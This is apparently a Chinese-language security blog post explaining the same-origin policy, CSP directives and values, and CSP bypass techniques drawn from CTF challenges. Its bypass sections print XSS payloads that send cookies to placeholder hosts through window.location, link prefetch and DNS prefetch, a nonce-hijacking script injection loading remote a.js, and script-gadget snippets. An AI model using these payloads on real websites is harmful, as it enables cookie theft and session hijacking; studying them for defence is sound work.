CSP
# 内容安全策略(CSP)
# 同源策略
同源策略(Same origin policy)是一种约定
是浏览器的行为,是为了保护本地数据不被 JavaScript 代码获取回来的数据污染,因此拦截的是客户端发出的请求回来的数据接收,即请求发送了,服务器响应了,但是无法被浏览器接收。
浏览器执行 javascript 脚本时,会检查这个脚本属于哪个页面,如果不是同源页面,就不会被执行
一个源的定义:如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源
不受同源策略限制的
- 页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
- 跨域资源的引入是可以的。但是 js 不能读写加载的内容。如嵌入到页面中的
<script src="..."></script>,<img>,<link>,<iframe>
等。
# CSP
内容安全策略(Content Security Policy,简称 CSP)是一种以可信白名单作机制,来限制网站是否可以包含某些来源内容,缓解广泛的内容注入漏洞,比如 XSS。 简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。默认配置下不允许执行内联代码( <script>
块内容,内联事件,内联样式),以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …)
。
# CSP 指令
- default-src : 定义针对所有类型(js/image/css/font/ajax/iframe/ 多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
- script-src : 定义针对 JavaScript 的加载策略。
- style-src : 定义针对样式的加载策略。
- img-src : 定义针对图片的加载策略。
- font-src : 定义针对字体的加载策略。
- media-src : 定义针对多媒体的加载策略,例如:音频标签
<audio>
和视频标签<video>
。 - object-src : 定义针对插件的加载策略,例如:
<object>
、<embed>
、<applet>
。 - child-src : 定义针对框架的加载策略,例如:
<frame>
,<iframe>
。 - connect-src : 定义针对 Ajax/WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。
- sandbox : 定义针对 sandbox 的限制,相当于
<iframe>
的 sandbox 属性。 - report-uri : 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。
- form-action : 定义针对提交的 form 到特定来源的加载策略。
- referrer : 定义针对 referrer 的加载策略。
- reflected-xss : 定义针对 XSS 过滤器使用策略。
# CSP 指令值
指令值 | 说明 |
---|---|
* | 允许加载任何内容 |
‘none’ | 不允许加载任何内容 |
‘self’ | 允许加载相同源的内容 |
www.a.com | 允许加载指定域名的资源 |
*.a.com | 允许加载 a.com 任何子域名的资源 |
https://a.com | 允许加载 a.com 的 https 资源 |
https: | 允许加载 https 资源 |
data: | 允许加载 data: 协议,例如:base64 编码的图片 |
‘unsafe-inline’ | 允许加载 inline 资源,例如 style 属性、onclick、inline js、inline css 等 |
‘unsafe-eval’ | 允许加载动态 js 代码,例如 eval () |
# CSP 默认特性
- 阻止内联代码执行
- EVAL 相关功能被禁用
# CSP 绕过
# Baby CSP
在 PHP 中,如果在调用 header()
函数之前已经有输出(比如错误信息或 HTML 内容),那么这个调用会被忽略,因为 HTTP 协议要求头部信息在内容之前发送。
在这种情况下,如果产生的警告信息足够多,可能会占满默认的 4096 字节的输出缓冲区,这样就会在发送 CSP 头部之前先将这些警告信息发送给浏览器,从而导致 CSP 头部被忽略。因此,攻击者可以利用这个机制插入恶意代码。
总结来说,就是警告信息的输出顺序会影响 HTTP 头部的发送,可能导致安全策略失效。
# Babier CSP
几经辗转后发现,题目的 nonce
属于硬编码,直接读取即可。
刚开始没注意 NONCE
已经初始化,而且在我们访问题目的时候,不会在去执行模板上面的 NONCE
生成,因此每次访问是不会变的。
# 一些语句的绕过
# script-src ‘self’ ‘unsafe -inline’
在允许 unsafe-inline 的情况下,可以用 window.location,或者 window.open 之类的方法进行跳转绕过。
1 | <script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script> |
内嵌 script 都可以执行,当然可以直接执行本页面的 JS,如输入即可,这里的利用和 XSS 利用一致
# script-src ‘self’ ‘unsafe-eval’
重用 Gadgets 代码来绕过 CSP,具体可参考 Black Hat 2017 的 ppt,上面总结了可以被用来绕过 CSP 的一些 JS 库。
例如假设页面中使用了 Jquery-mobile 库,并且 CSP 策略中包含”script-src ‘unsafe-eval’” 或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过 CSP:
1 | <div data-role=popup id='<script>alert(1)</script>'></div> |
# script-src:‘none-*’
利用浏览器补全绕过 script nonce
1 | Content-Security-Policy: default-src 'none';script-src 'nonce-xxx' |
这种情况下,script 标签需要带上正确的 nonce 属性值才能执行 JS 代码。
如果,出现了脚本插入点在含有 nonce 属性值的 script 标签前面的情况时,如:
1 | <p>插入点</p><script id="aa" nonce="abc">document.write('CSP');</script> |
可以插入如下内容来利用浏览器补全功能:
1 | <script src="http://192.168.248.1/a.js" a=" |
最终形成如下页面结构:
1 | <p><script src="http://192.168.248.1/a.js" a="</p> |
也就是说,利用浏览器补全的功能,在含有 nonce 的 script 标签前面的插入点插入 script 标签的同时,插入 a=” 以闭合后面 script 标签的第一个属性的双引号,从而使中间的内容失效,将本来的 nonce 属性劫持到了插入的 script 标签中,使得该插入标签可以正常执行 JS 代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。
还有一个注意点,上述的 a 标签在 Chrome 上是执行不了的,原因在于 Chrome 对于标签的解析方式则不同,Chrome 中解析 script 标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用 src 属性替代,使其可在 Chrome 下正常执行。
当我们输入
1 | <script src="http://192.168.43.201/a.js" a=" |
时即会弹框:
值得注意的就是,要想成功利用在 nonce 属性前需要存在一个用引号括起来的属性,不然会失效。
利用浏览器缓存绕过 script nonce
原理:
csp-test.php,开启了 nonce script 规则,并且有 XSS 点:
我们需要利用 iframe 引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个
标签来吃掉后面的 script 标签,这样就可以获取内容。
# 绕过 xx-src self
CSP 策略中 xx-src self 的设置能够使大部分的 XSS 和 CSRF 都会失效,但 link 标签的预加载功能可以进行绕过。在 Chrome 下,可以使用如下标签发送 cookie(最新版 Chrome 会禁止):
<link rel="prefetch" href="https://www.xxx/c.php?c=[cookie]">
在 Firefox 下,可以将 cookie 作为子域名,用 DNS 预解析的方式把 cookie 带出去,查看 DNS 服务器的日志就能得到 cookie:
<link rel="dns-prefetch" href="//[cookie].xxx.com">
特例:script-src ‘self’ 代表着只能加载符合同源策略的文件,直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看,常用的 iframe,object 等标签也是无法被绕过的。
使用 link 的预加载机制去带出 cookie,然而受限于 script-src ‘self’ 的限制,虽然能够通过 dns 带出信息,但是无法将 cookie 带出来,因此预加载也是无法使用的。于是只能另外寻找突破口,在查阅大量资料后发现,可以通过引入正常的非 js 文件来达到引入 js 脚本的效果。题目中要是具有上传点,可以将 js 代码插入到尾部来进行绕过。
# Gadgets
字符串操作
这种 Gadget 主要是指对字符串的操作,一个字符串在经过操作后可能变为造成攻击的字符。
例如 Polymer 中的一段代码 dash.replace(/-[a-z]/g, (m) => m[1].toUpperCase())
,这段代码会把以连字符构成的字符串变为大写,例如像 inner-h-t-m-l
这种字符串处理后会变成 innerHTML
。大部分 WAF 是对请求值和返回值做匹配,而此时传入的是 inner-h-t-m-l
而不是 innerHTML
,那么就有可能造成绕过。
元素创建
这种 Gadget 是像 document.createElement(input)
document.createElement("script")
jQuery("<" + tag + ">")
jQuery.html(input)
这种直接创建的标签甚至 script 的代码片段。当输入一定程度可控时,则可利用这种 Gadget。
函数创建
这种 Gadget 是指创建函数的代码段,比如 Underscore.js 中发现的一段代码:
1 | source = "var __t,__p='',__j=Array.prototype.join," + |
这种 Gadget 会间接执行构造的代码段,在一定条件下可造成攻击。
JavaScript 代码执行
这种 Gadget 主要是指类似 eval
这种会直接执行传入代码的代码段,例如:
1 | eval(input); |
表达式解析
很多前端框架都提供了自己的模版引擎,有着丰富而强大的功能,这种 Gadget 就是框架中对模版表达式解析执行而造成的问题。例如 Aurelia 框架中可以用下面这段代码来触发一个代码执行。
1 | <div ref=me |
- Title: CSP
- Author: Fc04dB
- Created at : 2024-10-27 21:54:29
- Updated at : 2024-10-28 18:38:15
- Link: https://redefine.ohevan.com/2024/10/27/CSP/
- License: This work is licensed under CC BY-NC-SA 4.0.